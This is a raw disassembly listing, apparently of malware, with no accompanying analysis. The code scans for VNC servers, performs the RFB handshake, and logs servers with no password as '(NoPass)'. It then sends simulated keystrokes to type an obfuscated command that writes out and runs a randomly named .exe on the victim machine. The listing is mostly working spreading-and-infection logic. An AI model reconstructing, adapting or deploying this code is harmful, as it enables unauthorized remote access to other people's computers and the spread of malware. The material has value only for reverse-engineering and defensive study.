; sub_407E1C+8Cj ...
mov al, [ecx]
inc ecx
test al, al
jnz short loc_407F0E
cmp [ecx], al
mov [ebp+var_4], ecx
jnz short loc_407E9D
pop ebx
loc_407F1D: ; CODE XREF: sub_407E1C+62j
xor eax, eax
pop edi
inc eax
pop esi
leave
retn 4
sub_407E1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F26 proc near ; CODE XREF: sub_408B6A+604p
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, [ebp+arg_4]
lea eax, [ebp+var_8]
xor esi, esi
sub edi, eax
loc_407F37: ; CODE XREF: sub_407F26+32j
push [ebp+arg_4]
call sub_4292D0
cmp esi, eax
pop ecx
jnb short loc_407F4F
lea eax, [ebp+esi+var_8]
mov cl, [edi+eax]
mov [eax], cl
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F4F: ; CODE XREF: sub_407F26+1Cj
and [ebp+esi+var_8], 0
loc_407F54: ; CODE XREF: sub_407F26+27j
inc esi
cmp esi, 8
jb short loc_407F37
lea eax, [ebp+var_8]
push 0
push eax
call sub_403476
mov esi, [ebp+arg_0]
pop ecx
pop ecx
push 2
pop edi
loc_407F6D: ; CODE XREF: sub_407F26+54j
push esi
push esi
call sub_40363C
pop ecx
add esi, 8
dec edi
pop ecx
jnz short loc_407F6D
pop edi
pop esi
leave
retn
sub_407F26 endp
; =============== S U B R O U T I N E =======================================
sub_407F80 proc near ; CODE XREF: ?9:00408369p ?9:004083EBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
jmp short loc_407FAB
; ---------------------------------------------------------------------------
loc_407F8A: ; CODE XREF: sub_407F80+2Dj
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_456F38 ; recv
test eax, eax
jz short loc_407FB5
cmp eax, 0FFFFFFFFh
jz short loc_407FB5
sub edi, eax
add esi, eax
loc_407FAB: ; CODE XREF: sub_407F80+8j
test edi, edi
jg short loc_407F8A
xor eax, eax
inc eax
loc_407FB2: ; CODE XREF: sub_407F80+37j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_407FB5: ; CODE XREF: sub_407F80+20j
; sub_407F80+25j
xor eax, eax
jmp short loc_407FB2
sub_407F80 endp
; =============== S U B R O U T I N E =======================================
sub_407FB9 proc near ; CODE XREF: ?9:004083D0p ?9:00408441p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_407FF6
xor esi, esi
test edi, edi
jle short loc_407FF0
loc_407FC9: ; CODE XREF: sub_407FB9+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_407FF6
test eax, eax
jz short loc_407FF6
add esi, eax
cmp esi, edi
jl short loc_407FC9
loc_407FF0: ; CODE XREF: sub_407FB9+Ej
xor eax, eax
inc eax
loc_407FF3: ; CODE XREF: sub_407FB9+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_407FF6: ; CODE XREF: sub_407FB9+8j
; sub_407FB9+2Bj ...
xor eax, eax
jmp short loc_407FF3
sub_407FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FFA proc near ; CODE XREF: ?9:0040858Fp ?9:004085A5p ...
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
push edi
mov esi, offset dword_455384
lea edi, [ebp+var_10]
mov ax, word_43EE74
movsd
movsb
mov esi, offset dword_4557A8
lea edi, [ebp+var_18]
mov [ebp+var_2], ax
mov ax, word_43EE70
movsd
mov [ebp+var_6], ax
mov ax, word_454018
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_4080C3
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_40804C: ; CODE XREF: sub_407FFA+C4j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_408069
dec eax
jnz short loc_4080B7
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_456F6C ; send
lea eax, [ebp+var_4]
jmp short loc_40807A
; ---------------------------------------------------------------------------
loc_408069: ; CODE XREF: sub_407FFA+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_456F6C ; send
lea eax, [ebp+var_6]
loc_40807A: ; CODE XREF: sub_407FFA+6Dj
push esi
push 1
push eax
push edi
call dword_456F6C ; send
push ebx
call sub_4292D0
pop ecx
cmp eax, 2
push esi
jnz short loc_408099
push 4
lea eax, [ebp+var_10]
jmp short loc_40809E
; ---------------------------------------------------------------------------
loc_408099: ; CODE XREF: sub_407FFA+96j
push 5
lea eax, [ebp+var_18]
loc_40809E: ; CODE XREF: sub_407FFA+9Dj
push eax
push edi
call dword_456F6C ; send
push esi
push ebx
call sub_4292D0
pop ecx
push eax
push ebx
push edi
call dword_456F6C ; send
loc_4080B7: ; CODE XREF: sub_407FFA+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_40804C
pop ebx
jmp short loc_408136
; ---------------------------------------------------------------------------
loc_4080C3: ; CODE XREF: sub_407FFA+42j
dec eax
jz short loc_4080DF
dec eax
jnz short loc_408136
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_456F6C ; send
lea eax, [ebp+var_4]
jmp short loc_4080F3
; ---------------------------------------------------------------------------
loc_4080DF: ; CODE XREF: sub_407FFA+CAj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_456F6C ; send
lea eax, [ebp+var_6]
loc_4080F3: ; CODE XREF: sub_407FFA+E3j
push esi
push 1
push eax
push edi
call dword_456F6C ; send
push [ebp+arg_4]
call sub_4292D0
pop ecx
cmp eax, 2
push esi
jnz short loc_408114
push 4
lea eax, [ebp+var_10]
jmp short loc_408119
; ---------------------------------------------------------------------------
loc_408114: ; CODE XREF: sub_407FFA+111j
push 5
lea eax, [ebp+var_18]
loc_408119: ; CODE XREF: sub_407FFA+118j
push eax
push edi
call dword_456F6C ; send
push esi
push [ebp+arg_4]
call sub_4292D0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_456F6C ; send
loc_408136: ; CODE XREF: sub_407FFA+C7j
; sub_407FFA+CDj
pop edi
pop esi
leave
retn
sub_407FFA endp
; ---------------------------------------------------------------------------
mov eax, 29ECh
call sub_429A90
push ebx
push ebp
push esi
push edi
mov esi, offset dword_43EF88
lea edi, [esp+7Ch]
movsd
movsd
movsd
movsb
mov esi, offset dword_43EF84
lea edi, [esp+60h]
movsw
movsb
mov esi, offset dword_455384
lea edi, [esp+64h]
movsd
movsb
mov esi, offset dword_43EF80
lea edi, [esp+20h]
movsw
movsb
mov esi, offset dword_43EF7C
lea edi, [esp+38h]
movsw
mov ax, word_43EE70
movsb
mov esi, offset loc_43EF78
lea edi, [esp+1Ch]
movsw
movsb
mov [esp+2Ah], ax
mov [esp+3Eh], ax
mov ax, word_43EF74
xor esi, esi
mov [esp+26h], ax
mov ax, word_43EF70
push esi
push 1
push 2
mov [esp+34h], ax
mov [esp+3Ch], esi
call dword_456FB0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+14h], edi
jnz short loc_4081D9
push eax
call dword_456FD0 ; closesocket
loc_4081D9: ; CODE XREF: ?9:004081D0j
lea eax, [esp+2A08h]
mov word ptr [esp+9Ch], 2
push eax
call dword_456F5C ; inet_addr
push 170Ch
mov [esp+0A4h], eax
call dword_456F18 ; ntohs
mov [esp+9Eh], ax
lea eax, [esp+9Ch]
push 10h
push eax
push edi
call dword_456E9C ; connect
test eax, eax
jnz loc_408B53
mov edi, dword_43718C
mov ebp, 3E8h
mov ebx, offset byte_4556A8
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
loc_408239: ; CODE XREF: ?9:004082E9j ?9:00408430j ...
push 40h
lea eax, [esp+0B0h]
push 0
push eax
call sub_429690
add esp, 0Ch
lea eax, [esp+0ACh]
push 0
push 40h
push eax
push dword ptr [esp+20h]
call dword_456F38 ; recv
test eax, eax
jle loc_408895
cmp eax, 0FFFFFFFFh
jz loc_408895
mov eax, [esp+30h]
sub eax, 0
jz loc_408845
dec eax
jz short loc_4082AD
dec eax
jnz loc_40888A
lea eax, [esp+64h]
push eax
lea eax, [esp+0B0h]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_408895
loc_4082A6: ; CODE XREF: ?9:0040885Aj
xor esi, esi
jmp loc_408B53
; ---------------------------------------------------------------------------
loc_4082AD: ; CODE XREF: ?9:00408282j
lea eax, [esp+60h]
push eax
lea eax, [esp+0B0h]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
push 0
jnz short loc_4082EE
lea eax, [esp+2Eh]
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [esp+32h]
push eax
push dword ptr [esp+20h]
call dword_456F6C ; send
mov dword ptr [esp+30h], 2
jmp loc_408239
; ---------------------------------------------------------------------------
loc_4082EE: ; CODE XREF: ?9:004082C4j
push 1
push 2
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
jz loc_408A06
lea eax, [esp+2A08h]
push eax
call dword_456F5C ; inet_addr
push dword ptr [esp+2AACh]
mov [esp+94h], eax
mov word ptr [esp+90h], 2
call dword_456F18 ; ntohs
push 6
push 1
push 2
mov [esp+9Ah], ax
call dword_4372B8
lea ecx, [esp+8Ch]
push 10h
push ecx
push eax
mov [esp+1Ch], eax
call dword_456E9C ; connect
test eax, eax
jnz loc_408A06
lea eax, [esp+6Ch]
push 0Ch
push eax
push dword ptr [esp+18h]
call sub_407F80
add esp, 0Ch
test eax, eax
jz loc_4089FC
lea eax, [esp+2Ch]
and byte ptr [esp+78h], 0
push eax
lea eax, [esp+38h]
push eax
lea eax, [esp+74h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_429D3E
add esp, 10h
push 3
pop eax
cmp [esp+34h], eax
jl loc_4089FC
jnz short loc_4083B3
cmp [esp+2Ch], eax
jl loc_4089FC
loc_4083B3: ; CODE XREF: ?9:004083A7j
push 5
push eax
lea eax, [esp+74h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_429A33
lea eax, [esp+7Ch]
push 0Ch
push eax
push dword ptr [esp+28h]
call sub_407FB9
add esp, 1Ch
test eax, eax
jz loc_4089FC
lea eax, [esp+44h]
push 4
push eax
push dword ptr [esp+18h]
call sub_407F80
add esp, 0Ch
test eax, eax
jz loc_4089FC
mov ecx, [esp+44h]
mov eax, ecx
mov edx, ecx
and eax, 0FF0000h
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, 0FF00h
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [esp+44h], eax
sub eax, 0
jz loc_408A06
dec eax
jnz loc_408239
push 1
push offset word_454018
push dword ptr [esp+18h]
call sub_407FB9
add esp, 0Ch
test eax, eax
jz loc_408239
lea eax, [esp+48h]
push 18h
push eax
push dword ptr [esp+18h]
call sub_407F80
add esp, 0Ch
test eax, eax
jz loc_408239
mov eax, [esp+48h]
xor edx, edx
mov dl, [esp+49h]
mov ecx, 0FFh
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+4Ah]
mov [esp+48h], dx
xor edx, edx
mov dl, [esp+4Bh]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+50h]
mov [esp+4Ah], dx
xor edx, edx
mov dl, [esp+51h]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+52h]
mov [esp+50h], dx
xor edx, edx
mov dl, [esp+53h]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+54h]
mov [esp+52h], dx
xor edx, edx
mov dl, [esp+55h]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+5Ch]
mov [esp+54h], dx
mov ecx, eax
mov edx, eax
and ecx, 0FF0000h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, 0FF00h
or edx, eax
lea eax, [esp+2A08h]
push eax
lea eax, [esp+2F0h]
push dword ptr [esp+30h]
shr ecx, 8
push dword ptr [esp+3Ch]
shl edx, 8
push offset aVncD_DSNopass ; "VNC%d.%d: %s - (NoPass)"
or ecx, edx
push 2710h
push eax
mov [esp+74h], ecx
call sub_429AEE
add esp, 18h
cmp dword ptr [esp+2AC4h], 0
jz short loc_408570
lea eax, [esp+2ECh]
push eax
push offset aS_5 ; "%s"
push dword ptr [esp+2A08h]
push dword ptr [esp+2A10h]
call sub_41CD84
add esp, 10h
loc_408570: ; CODE XREF: ?9:0040854Bj
push 2710h
lea eax, [esp+2F0h]
push 0
push eax
call sub_429690
lea eax, [esp+2Ch]
push 1
push eax
push dword ptr [esp+24h]
call sub_407FFA
add esp, 18h
push ebp
call edi ; dword_43718C
lea eax, [esp+28h]
push 0
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+20h]
push 2
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
lea eax, [esp+1FCh]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
push 100h
push 0
push ebx
call sub_429690
add esp, 2Ch
cmp dword_456D88, 0
jnz loc_4086E4
lea eax, [esp+2A08h]
push eax
call sub_41E3FB
test eax, eax
pop ecx
mov dword ptr [esp+18h], offset dword_457CD8
jnz short loc_408658
mov dword ptr [esp+18h], offset dword_457C20
loc_408658: ; CODE XREF: ?9:0040864Ej
lea eax, [esp+1ECh]
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [esp+210h]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_454A10
push dword ptr [esp+64h]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 68h
jmp loc_408770
; ---------------------------------------------------------------------------
loc_4086E4: ; CODE XREF: ?9:00408630j
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push offset dword_456B88
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push offset dword_456B88
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_456780
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 74h
loc_408770: ; CODE XREF: ?9:004086DFj
and dword ptr [esp+18h], 0
push ebx
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_4087C5
loc_408780: ; CODE XREF: ?9:004087C3j
mov eax, [esp+18h]
movsx eax, byte_4556A8[eax]
push eax
push offset dword_43EE88
lea eax, [esp+48h]
push 3
push eax
call sub_429AEE
lea eax, [esp+50h]
push 0
push eax
push dword ptr [esp+28h]
call sub_407FFA
add esp, 1Ch
push 0Fh
call edi ; dword_43718C
inc dword ptr [esp+18h]
push ebx
call sub_4292D0
cmp [esp+1Ch], eax
pop ecx
jb short loc_408780
loc_4087C5: ; CODE XREF: ?9:0040877Ej
push ebp
call edi ; dword_43718C
lea eax, [esp+38h]
push 0
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push 7530h
call edi ; dword_43718C
lea eax, [esp+1Ch]
push 1
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+26h]
push 0
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+1Ch]
push 2
push eax
push dword ptr [esp+18h]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
mov eax, [esp+2AB4h]
mov dword_4556A0, 1
shl eax, 6
lea eax, dword_43A380[eax]
inc dword ptr [eax]
jmp loc_408239
; ---------------------------------------------------------------------------
loc_408845: ; CODE XREF: ?9:0040827Bj
lea eax, [esp+7Ch]
push eax
lea eax, [esp+0B0h]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz loc_4082A6
push eax
lea eax, [esp+80h]
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [esp+84h]
push eax
push dword ptr [esp+20h]
call dword_456F6C ; send
mov dword ptr [esp+30h], 1
loc_40888A: ; CODE XREF: ?9:00408285j
cmp dword ptr [esp+30h], 3
jnz loc_408239
loc_408895: ; CODE XREF: ?9:00408265j ?9:0040826Ej ...
push 0
lea eax, [esp+42h]
push 1
push eax
push dword ptr [esp+20h]
call dword_456F6C ; send
lea eax, [esp+20h]
push 1
push eax
push dword ptr [esp+1Ch]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+28h]
push 0
push eax
push dword ptr [esp+1Ch]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+20h]
push 2
push eax
push dword ptr [esp+1Ch]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
lea eax, [esp+0F8h]
push edx
push offset dword_44399C
push offset dword_43EE78
push eax
call sub_429A33
push 100h
push 0
push ebx
call sub_429690
add esp, 28h
cmp dword_456D88, 0
jnz loc_408A0D
lea eax, [esp+2A08h]
push eax
call sub_41E3FB
test eax, eax
pop ecx
mov dword ptr [esp+2Ch], offset dword_457CD8
jnz short loc_408970
mov dword ptr [esp+2Ch], offset dword_457C20
loc_408970: ; CODE XREF: ?9:00408966j
lea eax, [esp+0ECh]
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [esp+110h]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_454A10
push dword ptr [esp+78h]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 68h
jmp loc_408A99
; ---------------------------------------------------------------------------
loc_4089FC: ; CODE XREF: ?9:00408373j ?9:004083A1j ...
push dword ptr [esp+10h]
call dword_4372D4
loc_408A06: ; CODE XREF: ?9:004082FBj ?9:00408358j ...
xor eax, eax
jmp loc_408B5F
; ---------------------------------------------------------------------------
loc_408A0D: ; CODE XREF: ?9:00408948j
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push offset dword_456B88
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push offset dword_456B88
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_456780
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 74h
loc_408A99: ; CODE XREF: ?9:004089F7j
push ebx
xor esi, esi
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_408AE2
loc_408AA6: ; CODE XREF: ?9:00408AE0j
movsx eax, byte_4556A8[esi]
push eax
push offset dword_43EE88
lea eax, [esp+48h]
push 3
push eax
call sub_429AEE
lea eax, [esp+50h]
push 0
push eax
push dword ptr [esp+2Ch]
call sub_407FFA
add esp, 1Ch
push 0Ah
call edi ; dword_43718C
push ebx
inc esi
call sub_4292D0
cmp esi, eax
pop ecx
jb short loc_408AA6
loc_408AE2: ; CODE XREF: ?9:00408AA4j
push ebp
call edi ; dword_43718C
mov ebx, [esp+14h]
lea eax, [esp+38h]
push 0
push eax
push ebx
call sub_407FFA
add esp, 0Ch
push 7530h
call edi ; dword_43718C
xor esi, esi
lea eax, [esp+1Ch]
inc esi
push esi
push eax
push ebx
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+26h]
push 0
push eax
push ebx
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+1Ch]
push 2
push eax
push ebx
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
mov eax, [esp+2AB4h]
mov dword_4556A0, esi
shl eax, 6
lea eax, dword_43A380[eax]
inc dword ptr [eax]
loc_408B53: ; CODE XREF: ?9:0040821Ej ?9:004082A8j
push dword ptr [esp+14h]
call dword_456FD0 ; closesocket
mov eax, esi
loc_408B5F: ; CODE XREF: ?9:00408A08j
pop edi
pop esi
pop ebp
pop ebx
add esp, 29ECh
retn
; =============== S U B R O U T I N E =======================================
sub_408B6A proc near ; CODE XREF: ?9:00409651p
var_74 = byte ptr -74h
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
arg_C = word ptr 10h
arg_E = word ptr 12h
arg_10 = dword ptr 14h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = byte ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = byte ptr 30h
arg_38 = byte ptr 3Ch
arg_48 = byte ptr 4Ch
arg_50 = byte ptr 54h
arg_56 = word ptr 5Ah
arg_58 = word ptr 5Ch
arg_5C = dword ptr 60h
arg_12C = byte ptr 130h
arg_15C = byte ptr 160h
arg_283C = byte ptr 2840h
arg_2840 = dword ptr 2844h
arg_2844 = dword ptr 2848h
arg_2848 = byte ptr 284Ch
arg_286C = byte ptr 2870h
arg_2870 = dword ptr 2874h
arg_2874 = dword ptr 2878h
arg_2878 = byte ptr 287Ch
arg_2898 = byte ptr 289Ch
arg_28D0 = dword ptr 28D4h
arg_2900 = dword ptr 2904h
arg_2904 = dword ptr 2908h
arg_290C = dword ptr 2910h
arg_2914 = dword ptr 2918h
arg_2934 = dword ptr 2938h
arg_2938 = dword ptr 293Ch
mov eax, 289Ch
call sub_429A90
push ebx
push ebp
push esi
push edi
mov esi, offset dword_43EF80
lea edi, [esp+10h+arg_8]
movsw
movsb
mov esi, offset dword_43EF7C
lea edi, [esp+10h+arg_1C]
movsw
mov ax, word_43EF70
xor ebx, ebx
movsb
mov esi, offset loc_43EF78
lea edi, [esp+10h+arg_4]
movsw
mov [esp+10h+arg_E], ax
mov ax, word_43EF74
push ebx
push 1
push 2
mov dword_4556A0, ebx
movsb
mov [esp+1Ch+arg_C], ax
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
jz loc_4091F9
lea eax, [esp+1Ch+arg_2898]
push eax
call dword_456F5C ; inet_addr
push [esp+20h+arg_2938]
mov [esp+24h+arg_5C], eax
mov [esp+24h+arg_58], 2
call dword_456F18 ; ntohs
push 6
push 1
push 2
mov [esp+30h+arg_56], ax
call dword_4372B8
mov edi, eax
lea eax, [esp+30h+arg_48]
push 10h
push eax
push edi
mov [esp+3Ch+var_20], edi
call dword_456E9C ; connect
test eax, eax
jnz loc_4091F9
lea eax, [esp+3Ch+arg_2C]
push 0Ch
push eax
push edi
call sub_407F80
add esp, 0Ch
test eax, eax
jnz short loc_408C45
loc_408C3E: ; CODE XREF: sub_408B6A+104j
; sub_408B6A+10Cj ...
xor esi, esi
jmp loc_408D03
; ---------------------------------------------------------------------------
loc_408C45: ; CODE XREF: sub_408B6A+D2j
lea eax, [esp+3Ch+var_10]
and [esp+3Ch+arg_38], 0
push eax
lea eax, [esp+40h+var_18]
push eax
mov esi, offset aRfb03d_03d ; "RFB %03d.%03d\n"
lea eax, [esp+44h+arg_2C]
push esi
push eax
call sub_429D3E
add esp, 10h
push 3
pop eax
cmp [esp+3Ch+var_18], eax
jl short loc_408C3E
jnz short loc_408C78
cmp [esp+3Ch+var_10], eax
jl short loc_408C3E
loc_408C78: ; CODE XREF: sub_408B6A+106j
push 5
push eax
lea eax, [esp+44h+arg_2C]
push esi
push eax
call sub_429A33
lea eax, [esp+4Ch+arg_2C]
push 0Ch
push eax
push edi
call sub_407FB9
add esp, 1Ch
test eax, eax
jz short loc_408C3E
lea eax, [esp+3Ch+arg_28]
push 4
push eax
push edi
call sub_407F80
add esp, 0Ch
test eax, eax
jz short loc_408C3E
mov ecx, [esp+3Ch+arg_28]
mov eax, ecx
mov edx, ecx
and eax, 0FF0000h
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, 0FF00h
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [esp+3Ch+arg_28], eax
sub eax, ebx
jz loc_4091F9
mov edi, dword_43718C
dec eax
mov ebp, 3E8h
mov ebx, offset byte_4556A8
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
jz short loc_408D14
dec eax
jz loc_40911E
xor esi, esi
inc esi
loc_408D03: ; CODE XREF: sub_408B6A+D6j
push [esp+3Ch+var_2C]
call dword_4372D4
mov eax, esi
jmp loc_4091FB
; ---------------------------------------------------------------------------
loc_408D14: ; CODE XREF: sub_408B6A+18Dj
push 1
push offset word_454018
push [esp+44h+var_2C]
call sub_407FB9
add esp, 0Ch
test eax, eax
jz loc_40911E
lea eax, [esp+3Ch+arg_10]
push 18h
push eax
push [esp+44h+var_2C]
call sub_407F80
add esp, 0Ch
test eax, eax
jz loc_40911E
mov eax, [esp+3Ch+arg_10]
xor edx, edx
mov dl, byte ptr [esp+3Ch+arg_10+1]
mov ecx, 0FFh
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
